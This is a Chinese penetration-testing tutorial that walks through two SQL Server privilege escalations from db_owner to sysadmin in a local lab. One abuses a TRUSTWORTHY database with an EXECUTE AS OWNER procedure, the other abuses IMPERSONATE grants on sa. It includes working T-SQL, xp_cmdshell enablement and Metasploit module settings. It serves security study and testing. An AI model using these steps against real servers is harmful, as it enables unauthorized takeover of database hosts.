浅谈SQL Server从DBO用户提权到DBA的两种思路

gclome

原文链接:浅谈SQL Server从DBO用户提权到DBA的两种思路


前言
前阵子和某项目的成员交流，谈到了一个问题。在渗透测试过程中，如果挖到了sql注入点，可能要面对一个困难，就是当前的数据库用户是dbo权限，没法进一步提权，就只能做信息收集，再试试管理员后台。以SQL Server为例，网上很多文章是介绍dba提权，通过开启xp_cmdshell等操作，拿下整个服务器的管理员权限。反而，鲜有介绍dbo权限要如何提权。于是找到了国外研究员发现的两个开发人员配置不当问题，可能导致普通数据库用户db owner提权到sysadmin，两个漏洞分别是设置了可信数据库以及允许用户角色模拟。


1.漏洞介绍

由于SQL Server数据库开发者的配置不当，设置了可信数据库或者允许用户角色模拟，导致可以dbo提权到dba。没有具体的CVE编号，理论上具有一定的通用性。如果在实战中遇到了瓶颈，不妨一试。

• 可信数据库（Trustworthy Databases）：据Microsoft指出，一个数据库管理员在配置可信数据库的权限时，会有意无意的导致非特权帐户提升权限。TRUSTWORTHY 数据库属性用于指明 SQL Server 实例是否信任该数据库以及其中的内容。默认情况下，此设置为 OFF。需要 sysadmin角色成员（比如sa）权限才能修改设置。如果有sysadmin角色成员设置了某个可信数据库，该可信数据库的db owner就可能利用这个漏洞提权到sysadmin。
• 用户模拟（User Impersonation）：有时为了某些需求，要从应用程序的数据库访问外部资源，开发人员使用了模拟特权（IMPERSONATE privilege），导致了当前用户可以模拟其它用户的权限。
  
  

2.测试环境

• Windows Server 2008 R2 x64
• SQL Server 2014
• Kali Linux 2020.2(VMware)
  
  

请确保开启了混合验证模式并且以LocalSystem权限运行服务。

3.可信数据库

3.1预设存在漏洞的配置
打开SQL Server Management Studio，登录sa用户 。
​
点击“新建查询”，创建数据库名为“TestDb”。

1. CREATE DATABASE TestDb;

复制代码

新建测试用户TestUser。

1. CREATE LOGIN TestUser WITH PASSWORD = 'Passw0rd';

复制代码

使用如下的TSQL语句，数据库TestDb的db_owner权限赋予给用户TestUser。

1. USE TestDb
   
2. ALTER LOGIN [TestUser] with default_database = [TestDb];
   
3. CREATE USER [TestUser] FROM LOGIN [TestUser];
   
4. EXEC sp_addrolemember [db_owner], [TestUser];

复制代码

设置TestDb数据库为可信，这个是漏洞存在的关键。

1. ALTER DATABASE TestDb SET TRUSTWORTHY ON

复制代码

下面的查询语句会返回SQL Server实例中所有的数据库中，可信数据库的标记情况，is_trustworthy_on开关为1即可信。可以看到TestDb已设置为可信数据库。

1. SELECT a.name,b.is_trustworthy_on
   
2. FROM master..sysdatabases as a
   
3. INNER JOIN sys.databases as b
   
4. ON a.name=b.name;

复制代码

​


3.2漏洞利用过程使用TestUser用户登录数据库。
​
尝试开启xp_cmdshell，可以看到权限不够。

1. EXEC sp_configure 'show advanced options','1' --确保show advances options 的值为1
   
2. RECONFIGURE
   
3. GO
   
4. EXEC sp_configure 'xp_cmdshell',1 --开启xp_cmdshell
   
5. RECONFIGURE
   
6. GO

复制代码

​

查询是否sysadmin角色权限，显示0，还不是sysadmin权限。

1. SELECT is_srvrolemember('sysadmin')

复制代码

​

查询是否sysadmin角色权限，显示0，还不是sysadmin权限。

1. USE TestDb
   
2. GO
   
3. CREATE PROCEDURE sp_elevate_me
   
4. WITH EXECUTE AS OWNER
   
5. AS
   
6. EXEC sp_addsrvrolemember 'TestUser','sysadmin'
   
7. GO

复制代码

接下来，执行上述sp_elevate_me存储过程，给TestUser用户添加sysadmin角色。

1. USE TestDb
   
2. EXEC sp_elevate_me

复制代码

再次尝试开启xp_cmdshell，并且执行whoami。看到漏洞利用成功了。


​

3.3 msf自动化提权msf已经内置了攻击模块
auxiliary/admin/mssql/mssql_escalate_dbowner，直接调用即可。如果是从sql注入点提权，就使用模块
mssql_escalate_dbowner_sqli。
我的攻击参数配置如下：

1. use auxiliary/admin/mssql/mssql_escalate_dbowner
   
2. SET RHOSTS 192.168.234.130
   
3. SET USERNAME TestUser
   
4. SET PASSWORD Passw0rd
   
5. run

复制代码

​


4.用户模拟

4.1预设存在漏洞的配置使用sa帐户登录SQL Server，创建4个新用户。

1. CREATE LOGIN MyUser1 WITH PASSWORD = 'MyPassword!';
   
2. CREATE LOGIN MyUser2 WITH PASSWORD = 'MyPassword!';
   
3. CREATE LOGIN MyUser3 WITH PASSWORD = 'MyPassword!';
   
4. CREATE LOGIN MyUser4 WITH PASSWORD = 'MyPassword!';

复制代码

​

赋予用户MyUser1权限模拟 MyUser2, MyUser3,及sa，这个是漏洞存在的关键。在实战中，未必能遇到模拟sa用户特权的情况，但如果开发人员模拟了MyUser2或者MyUser3，就能从MyUser1访问其它数据库资源。

1. USE master;
   
2. GRANT IMPERSONATE ON LOGIN::sa to [MyUser1];
   
3. GRANT IMPERSONATE ON LOGIN::MyUser2 to [MyUser1];
   
4. GRANT IMPERSONATE ON LOGIN::MyUser3 to [MyUser1];
   
5. GO

复制代码

​

4.2漏洞利用过程切换MyUser1用户登录数据库。
执行如下SQL语句，可以快速找到允许被模拟的用户列表。

1. SELECT distinct b.name
   
2. FROM sys.server_permissions a
   
3. INNER JOIN sys.server_principals b
   
4. ON a.grantor_principal_id = b.principal_id
   
5. WHERE a.permission_name = 'IMPERSONATE'

复制代码

​

执行下面语言，在执行了EXECUTE AS LOGIN语句后，成功模拟sa用户特权。

1. SELECT SYSTEM_USER
   
2. SELECT IS_SRVROLEMEMBER('sysadmin')
   
3. 
   
4. EXECUTE AS LOGIN = 'sa'
   
5. 
   
6. SELECT SYSTEM_USER
   
7. SELECT IS_SRVROLEMEMBER('sysadmin')

复制代码

​

4.3 msf自动化提权同样的，这个漏洞也有对应的msf攻击模块。如果是从sql注入点提权，就选择mssql_escalate_execute_as_sqli。
我的攻击参数配置如下：

1. use auxiliary/admin/mssql/mssql_escalate_execute_as
   
2. set RHOSTS 192.168.234.130
   
3. set USERNAME MyUser1
   
4. set PASSWORD MyPassword!
   
5. run

复制代码

​​​

5.总结

本文讲述了数据库开发人员存在两种常见的SQL Server错误配置，导致攻击者可以从DBO用户提权到DBA，分别是设置可信数据库，以及允许用户模拟。本地部署漏洞环境，逐步讲解漏洞利用过程，最后分别使用msf模块演示自动化提权。

参考资料

1. Hacking SQL Server Stored Procedures – Part 1: (un)Trustworthy Databases
   
2. Hacking SQL Server Stored Procedures – Part 2: User Impersonation
   
3. Guidelines for using the TRUSTWORTHY database setting in SQL Server
   
4. Extending Database Impersonation by Using EXECUTE AS

复制代码